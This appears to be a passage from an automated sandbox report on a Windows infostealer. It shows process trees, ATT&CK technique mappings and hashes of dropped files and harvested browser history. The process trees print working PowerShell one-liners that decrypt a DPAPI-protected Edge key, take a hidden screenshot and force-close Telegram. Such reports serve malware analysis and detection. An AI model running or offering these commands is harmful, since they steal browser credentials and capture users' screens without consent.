    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAXVTDLqTA7Uil/Th7gGvyERAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAA1j5J8FFSxCPOPmjzWoZnTNhHZQDb4ZrDlP8hQ45ciCsAAAAADoAAAAACAAAgAAAAMtclq16a3vZJXe/1qbrJWEUsC7apq+xSi9VDv4jU60MwAAAAOYbGSQneUKkE+QK7a9cwcjyP8EbJ86dglb9Q9Ow0niiZQdbWcDNvSbokgQh7R2rDQAAAAFu7Yj/YJKQS6Z3WJH5PtHLrQiMfnQzIV9aGs/crFiQ0z9GSN2ckOrBx1SQeHt6XBq2KmqznngKna+KFlj2EIN8=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4000
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAXVTDLqTA7Uil/Th7gGvyERAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAA1j5J8FFSxCPOPmjzWoZnTNhHZQDb4ZrDlP8hQ45ciCsAAAAADoAAAAACAAAgAAAAMtclq16a3vZJXe/1qbrJWEUsC7apq+xSi9VDv4jU60MwAAAAOYbGSQneUKkE+QK7a9cwcjyP8EbJ86dglb9Q9Ow0niiZQdbWcDNvSbokgQh7R2rDQAAAAFu7Yj/YJKQS6Z3WJH5PtHLrQiMfnQzIV9aGs/crFiQ0z9GSN2ckOrBx1SQeHt6XBq2KmqznngKna+KFlj2EIN8=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4524
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:4260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Telegram.exe /F"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4160
  - - C:\Windows\system32\taskkill.exe
      taskkill /IM Telegram.exe /F
      4⤵
      Kills process with taskkill
      PID:5104

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1128

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4684

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

93gi0zpd0cr.zip

Path C:\Users\Admin\AppData\Local\20c6a3b59c54b5ad\93gi0zpd0cr.zip
Size 4.5MB
SHA256 92aa3e2fff8b16f2f0bbceb0b77281a5b4c41cf99750697d556abd785150a309
MD5 b88e20cc2be3ba5393a0cfbe8d2ee34d
SHA1 b795fa6810a2078241be841d590acc20f7e0aef1
SHA512 cc530033313d137da51e7049ee0372bd32ed3241457f6dc78fa5a1c819f67609165a00d772b11baa532678c14135458193a5888a0dc95d63796c1d0c44d833d3
SSDEEP 98304:sjGS1fqY9im1cN+szh48Mmj2jVU98phHaT+GZOqDiTjCHSEEUeHIY3/ZJ:sjXoY9h1cRzaOEO9YJMNZwOcUtSz
TLSH
T1702633FA8D836E43DCAFF7B84494C2991214AC4A84645B51A031E5BB0D360CBFDF79E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 dc2fda2ba56952fcf6db038c402d45e80aeb400a094f93699cc72347e0df8c9a
MD5 e23b8fedc28d1e96eeda245d30ec923a
SHA1 1b4d1e5f8eee7c0984aee096d18ea932bc94da0e
SHA512 7ce6e9d8eb003739e05859af089015ab4374639353b5716d4da715239c54fda55ddb8a9bda4546372923cb3887294218c0dc1c31942f3ce30eecdaefb4b653f8
TLSH
T1A7115773F3CC8724C89A403650CEAC1036B587DB509ECE6BBB84D555B43F599CE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 f6a30b6b07897f473e5131a130929d2aae64cab048d285b3622ff7dbcb4b15e6
MD5 e07fec32e1448fa5a036d71a54ab3650
SHA1 60f8ae9735bad0be902e75f4586946b1ae755ae8
SHA512 4b7af8be6a9255a836246ca783a3924ab9c1d7b82c5cbed94c159aad79d70761f0f384a765cff33c5fdeff3bc2d21f852a0f7fbe2869e629d280ec2362c83d7f
TLSH
T103218933B3CC8664DC9A413654CEAC1136B687D7409ECEABAB84D118F42F288DEA11A0
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_3cwduarf.l5m.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3cwduarf.l5m.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

chromelevator.exe

Path C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe
Size 2.1MB
SHA256 d5abe59abf73ed705aa7bba798dc417525aec110f3af48cd01c2074e763b6e21
MD5 d2aa58c68f360a5d66d3e48252f46fd1
SHA1 e623539b5123dceab124e10949e182a6bd45d4eb
SHA512 270a8cf341c0fa33f9c9f3d039798d24931f6647d61ab432eb1b5bda0363781f2ae6858bcce07f89bad708228e0e5709996985b9ec0bed4c4b35ff6626cc238f
SSDEEP 49152:3EBfviDsP8+vG5+At/pjjGRyQs8j2yuJQ2O2eu:MWL+vIt/pghsO2p7
TLSH
T161A5E156A3B440FCD0B7D2B4CA464A0BDFB2F8061635969F43D44E562F23B729A3E721
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

history.json

Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Edge\Default\history.json
Size 126B
SHA256 2eb489517d52f153acb1dc49a5ac626327f14578e9a05df89a7ddae43fc4e7c8
MD5 026eb2be87ca7bdc4e0273200724024e
SHA1 1f0860b3c7c30a3cd32dc7b09054be1ab9a03381
SHA512 d568d65fd29fcbd1b8db6e2922e4558423e9271a7049e01b60c6e092acf36caa53f860d652a1f993b34e37d914afba15ae55fb1af8c14d9eb16538efa01fc00e
TLSH
T171B09B10917D18911F4C456078C7441A589DB5554785153655C4ED496708B1117454F6
MD5 SHA1 SHA512 TLSH

Submit Download

history.txt

Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Edge\Default\history.txt
Size 153B
SHA256 4e23612aee5f2690b53e28b0bd743ea57e50bd489e9d046b279068d305020d28
MD5 028c08ef2e4632d316fcfa8d3779f4a9
SHA1 0d15e4dd615bbaec1502ce66400f59a9616013e4
SHA512 5f672febaa4d1f1198d657359877573bf0e5f01a828aa872f238a2d2c8de5f86a3971e8c73e46cc0bf66e3cb07de1bb359a39acadf0a75d27d0eb3fcc42984b2
TLSH
T1C9C08C04912A64DA1B9443783A0385817909E1C4430C2226B8CF0886EC4AA2DC2958BE
MD5 SHA1 SHA512 TLSH

Submit Download

history.json

Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Firefox\dzn6qwxz.default-release\history.json
Size 489B
SHA256 50e93456521da9260e9690d50096bc4addcefaeb9fb17c0c45f0bb5e73a3957a
MD5 9035ebdb43c218ebe24ea83d4e5b288e
SHA1 64e9fe08b96122cde02821b6509bba960ada71b2
SHA512 32f55cb800a0a20dd523a680418379a013ddbaa7e4fd752bcefa3dca5e2d784f5c350358e4e2eecafadd8d858cb813a8b7b9ecfe6072718a231c1402df9957fd
TLSH
T176F027B621F928220B8C5B80748B112B64CFFB4ADED215B6D644FCA882BCBD043D814D
MD5 SHA1 SHA512 TLSH

Submit Download

history.txt

Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Firefox\dzn6qwxz.default-release\history.txt
Size 522B
SHA256 6c888875b35893d0eb2b751eebd0242e08c8bab3a8d3a5828419c87212864c8a
MD5 a5981cbbb0a04573a4259c076492df84
SHA1 45cf6bb73736aa132e267ea36080f072afa91eae
SHA512 717182c9bd4f33a0075f3bc46a7a6c59a204dcd3a05aceca456e12664f0a118b27ed2529314b2893a89f98d21d0c911c3d5925e1aad0be492038de2ea4c990f5
TLSH
T1C3F05963A227511A0F46C7E932026B47308FD3488D9DA446B4CB2873C89FB28C0EA60E
MD5 SHA1 SHA512 TLSH

Submit Download

system_check_1783657880311.vbs

Path C:\Users\Admin\AppData\Local\Temp\system_check_1783657880311.vbs
Size 216B
SHA256 600663b0860f7c0f136c9a9fb273d878feea20ba12222e68742da5ff7d18ccb4
MD5 4643adec6d6b0b4eaca527dba8bf6c08
SHA1 97a8979718daccaf9beaef3d73a2493c9ffb0a19
SHA512 6bc950ebaab4041a21b4cdc6e7542e7f9f6a376bbadfd8ef237906204c0b689d764fd56eb333ad6b8ab763a69394f9b8e3780c9127d13d798ba6ac98569ae423
TLSH
T1B6D02323DCDCC061148D51D191D89D185B1D8B98719BCC4B4FD1549F730E161CB78717
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1732-19-0x00000265DB260000-0x00000265DB26A000-memory.dmp

Download

memory/1732-18-0x00000265DB300000-0x00000265DB3B2000-memory.dmp

Download

memory/1732-17-0x00000265DB2E0000-0x00000265DB2FE000-memory.dmp

Download

memory/1732-14-0x00000265DB270000-0x00000265DB292000-memory.dmp

Download

memory/5036-45-0x000001A92C530000-0x000001A92C580000-memory.dmp

Download